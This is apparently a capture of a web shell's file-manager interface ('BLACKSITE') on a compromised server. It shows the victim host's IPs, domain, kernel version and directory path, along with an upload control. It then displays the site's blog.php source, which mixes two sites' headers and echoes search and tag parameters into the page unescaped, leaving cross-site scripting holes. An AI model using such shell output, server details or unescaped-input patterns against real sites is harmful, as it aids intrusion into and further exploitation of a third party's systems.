BLACKSITE
:
216.73.217.4
:
104.37.75.190 / alpenpass.ca
:
Linux server3.pointsplan.com 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
:
/
home
/
apca
/
www
/
Upload File:
files >> /home/apca/www/blog.php
<?php // include_once("includes/head.php"); // ini_set('display_errors', 0); require_once("includes/lib/common.php"); require_once("includes/lib/configure.php"); require_once("includes/lib/classes/a/blogs.php"); require_once("includes/lib/classes/a/blogcategory.php"); require_once("includes/lib/classes/a/blogwriters.php"); $blogs = new blogs(); $category = new blogcategory(); $writers = new blogwriters(); $rows = '10'; $page = ($request->getvalue('page'))?$request->getvalue('page'):'1'; $cat_id = ($request->getvalue('cat_id'))?$request->getvalue('cat_id'):''; // category $topic = ($request->getvalue('topic'))?$request->getvalue('topic'):''; //tags $writer = ($request->getvalue('writer'))?$request->getvalue('writer'):''; //writer $archive = ($request->getvalue('archive'))?$request->getvalue('archive'):''; //archive $search = ($request->getvalue('search'))?$request->getvalue('search'):''; //Search $args['order_by'] = 'release_date'; $args['cat_id'] = $cat_id; $args['topic'] = $topic; $args['writer_id'] = $writer; $args['page'] = $page; $args['rows'] = $rows; $args['archive'] = $archive; $args['search'] = $search; $total_records = $blogs->getTotalBlogsLive($args); $bloglist = $blogs->getBlogListLive($args); $total_pages = ceil($total_records/$rows); $section = ''; $heading = ''; //Article List <br /><div style="font-size:14px; margin-top:10px; ">Real estate related articles, written exclusively for Plan A, by local experts who are ready to answer your questions now.<br /><br /></div> if($cat_id!='') $section = "cat=$cat_id&"; if($topic!='') $section = "topic=$topic&"; if($writer!='') $section = "writer=$writer&"; if($archive!='') $section = "archive=$archive&"; if($search!='') $section = "search=$search&"; if($cat_id!='') $category->load($cat_id); if($writer!='') $writers->load($writer); if($cat_id!='') $heading = "Articles related to the {$category->category_name} category"; if($topic!='') $heading = "Articles related to the Tag: $topic"; if($writer!='') $heading = "Articles by {$writers->first_name} {$writers->last_name}"; if($archive!='') $heading = "Article Archive for month : $archive"; if($search!='') $heading = "Search results for keyword : '$search'"; ?> <?php session_start(); include('includes/config.php'); error_reporting(0); include('includes/head.php'); $mTitle="Our Blog | AlpenPass Motorcycle Adventures"; $mDescription="Stay updated with the latest motorcycle tips, tour stories, and news from AlpenPass. Ride smarter and explore BC with us."; include('includes/header.php');?> <style> .no_results { font-size: 20px; margin-top: 20px; text-align: center; } .pageOn { background: none repeat scroll 0 0 #CCCCCC; border: 1px solid #336699; color: #336699; margin: 2px 4px; padding: 2px 4px; } .pageOff { background: none repeat scroll 0 0 #EEEEEE; border: 1px solid #336699; color: #336699; margin: 2px 4px; padding: 2px 4px; } .pageOff:hover { background: none repeat scroll 0 0 #DDDDDD; cursor: pointer; } .pageOff a { color: #000000; text-decoration: none; } .paginationSelect { background: none repeat scroll 0 0 #EEEEEE; } .paginationErrors { background: none repeat scroll 0 0 #FFDD99; border: 2px dashed #DD9900; clear: both; color: #AA4400; margin: 40px auto; padding: 10px; text-align: left; size:18px; width: 70%; } .blogtitle { color: #646464; line-height: 1.2em; text-decoration: none; transition: all 0.2s ease-in-out 0s;} .bloglist{ min-height:150px; overflow:hidden; background-color:#EEE; margin:10px; padding:10px;; } .tags { /* display:block;*/ padding:4px 10px 4px 10px; background-color:#FFF; font-size:12px; margin-bottom:4px; } .top_list_title{ color:#fff; background-color: #fb4d59 !important; padding:5px; font-size: 20px; } .top_list_title a{ color:#fff; } .dropCap:first-letter { float: left; color: #6E6E6E; font-size: 75px; line-height: 60px; padding-top: 4px; padding-right: 8px; padding-left: 3px; } a{ text-decoration: none; } .breadcrumbs li{ display: inline; margin-right: 30px; } </style> <!-- Start Page Banner --> <div class="page-banner"> <div class="container"> <div class="row"> <div class="col-md-6"> <h2>Blogs</h2> </div> <div class="col-md-6"> <ul class="breadcrumbs"> <li><a href="/blog">Home</a></li> <li>Blogs -</li> </ul> </div> </div> </div> </div> <!-- End Page Banner --> <!-- Start Content --> <div id="content"> <div class="container"> <div class="page-content"> <div class="row"> <div class="col-md-9"> <h4><?=$heading;?></h4> <?php if($total_pages>1) { ?> <!--------------------- Paging -------------------------------------------------------------------> <span class="<?=($page==1)?'pageOn':'pageOff';?>" title="First page"><?php if($page!=1) {?> <a class="pagination_link" href="?<?=$section;?>page=1"><<</a><?php } else echo '<<'; ?></span> <span class="<?=($page==1)?'pageOn':'pageOff';?>" title="Previous page" ><?php if($page>=2) {?> <a class="pagination_link" href="?<?=$section;?>page=<?=$page-1;?>"><</a><?php } else echo '<';?></span> <?php for($i=1; $i<=$total_pages; $i++) { ?> <?php if($page==$i) { ?> <span class="pageOn" ><?=$i;?></span> <?php } else { ?> <span class="pageOff" ><a class = "pagination_link" href="?<?=$section;?>page=<?=$i;?>"><?=$i;?></a></span> <?php } ?> <?php } // end for loop?> <span class="<?=($page==$total_pages)?'pageOn':'pageOff';?>" title="Next page" > <?php if($page>$total_pages) { ?><a class = "pagination_link" href="<?=$seciont;?>?page=<?=$page+1;?>">></a><?php } else { ?> ><?php } ?> </span> <span class="<?=($page==$total_pages)?'pageOn':'pageOff';?>" title="Last page (<?=$total_pages;?>)" > <?php if($page!=$total_pages) { ?><a class = "pagination_link" href="?<?=$section;?>page=<?=$total_pages;?>">>></a> <?php } else {?> >> <?php } ?> </span> <span style = 'font-weight:800;'><?=$total_records;?> <?php echo POSTS_FOUND ?></span> <!-------------------------------- END OF PAGING ------------------------------> <?php } // if total_pages > 0?> <p> <ul > <?php if($bloglist=='empty') echo " No Article Found "; else { foreach($bloglist as $blog){ ?> <li class="bloglist"> <div class="row"> <div class="col-md-12"> <span style="display:block; margin-bottom:20px;" > <div class="top_list_title"> <a href="/<?php echo $blog['url_key'];?>" class="blogtitle"><?php echo cleanit($blog['blog_name']);?></a> <span style="float:right"> Author : <?php /** <a href="/bwriters/<?php echo $writer->writer_id;?>"> */?><?php echo cleanit($blog['name']);?></a> </span> </div> <span class="published_date" style="font-size:12px; display:inline-block; font-weight:bold;float:right; color:#131511">Published on : <?=date('F j, Y',strtotime($blog['release_date']));?></span> </span> </div> </div> <div class="row"> <div class="col-xxl-4 col-lg-12 col-md-12 col-sm-12"> <?php if($blog['thumb_image']!=''){ // echo '<a href="viewblog.php?blog_id='.$blog['blog_id'].'" > echo '<a href="viewblog.php?blog_id='.$blog['blog_id'].'"> <img src="/images/blogs/small/'.$blog['thumb_image'].'" alt="'.$blog['thumb_image_alt'].'" ></a>';} echo '</div><div class="col-xxl-8 col-lg-12 col-md-12 col-sm-12">'; //$blog['short_desc']=preg_replace('/<p>/', '<p class=\"dropCap\">', $blog['short_desc'], 1); $blog['short_desc']=str_replace(" ","",$blog['short_desc']); echo '<a href="viewblog.php?blog_id='.$blog['blog_id'].'" style="color:#333;" >'.cleanit(trim($blog['short_desc'])).'</a>'; if($blog['tags']!='') { $tags = explode(',',$blog['tags']); $tmp = array_unique($tags); for($i=0;$i<sizeof($tmp); $i++) { echo '<span class="tags" style="margin-left:4px;"><a href="/blog/'.trim($tmp[$i]).'">'.$tmp[$i].'</a></span>'; } } // echo '<a href="'.$blog['url_key'].'" style="color:#333;" ><div style="color:#fff; text-align:center; padding:10px 30px; margin-top: 10px; border-radius:10px; background-color:#131511; width:30%;">Read More '.$blog['blog_id'].'</div></a>'; echo '<a href="viewblog.php?blog_id='.$blog['blog_id'].'" style="color:#333;" ><div style="color:#fff; text-align:center; padding:10px 30px; margin-top: 10px; border-radius:10px; background-color:#fb4d59; width:30%;">Read More</div></a>'; ?> </div> </div> </li> <?php } // end while } // end else ?> </ul> </p> <?php if($total_pages>1) { ?> <!--------------------- Paging -------------------------------------------------------------------> <span class="<?=($page==1)?'pageOn':'pageOff';?>" title="First page"><?php if($page!=1) {?> <a class="pagination_link" href="?<?=$section;?>page=1"><<</a><?php } else echo '<<'; ?></span> <span class="<?=($page==1)?'pageOn':'pageOff';?>" title="Previous page" ><?php if($page>=2) {?> <a class="pagination_link" href="?<?=$section;?>page=<?=$page-1;?>"><</a><?php } else echo '<';?></span> <?php for($i=1; $i<=$total_pages; $i++) { ?> <?php if($page==$i) { ?> <span class="pageOn" ><?=$i;?></span> <?php } else { ?> <span class="pageOff" ><a class = "pagination_link" href="?<?=$section;?>page=<?=$i;?>"><?=$i;?></a></span> <?php } ?> <?php } // end for loop?> <span class="<?=($page==$total_pages)?'pageOn':'pageOff';?>" title="Next page" > <?php if($page>$total_pages) { ?><a class = "pagination_link" href="<?=$seciont;?>?page=<?=$page+1;?>">></a><?php } else { ?> ><?php } ?> </span> <span class="<?=($page==$total_pages)?'pageOn':'pageOff';?>" title="Last page (<?=$total_pages;?>)" > <?php if($page!=$total_pages) { ?><a class = "pagination_link" href="?<?=$section;?>page=<?=$total_pages;?>">>></a> <?php } else {?> >> <?php } ?> </span> <span style = 'font-weight:800;'><?=$total_records;?> <?php echo POSTS_FOUND ?></span> <!-------------------------------- END OF PAGING ------------------------------> <?php } // if total_pages > 0?><br /><br /> </div> <div class="col-md-3"> <?php $blogs->blog_right_col="[[joinNews]]"; include_once("blog_right_panel.php");?> </div> </div> </div> </div> <div class="divider pos_top"></div> <!-- <div class="divider pos1"></div> --> </div> <?php include_once("includes/footer.php"); ?> </div> </div> </section> </div> <script> function bloghome() { window.location = 'blog.php'; } </script> </body> </html>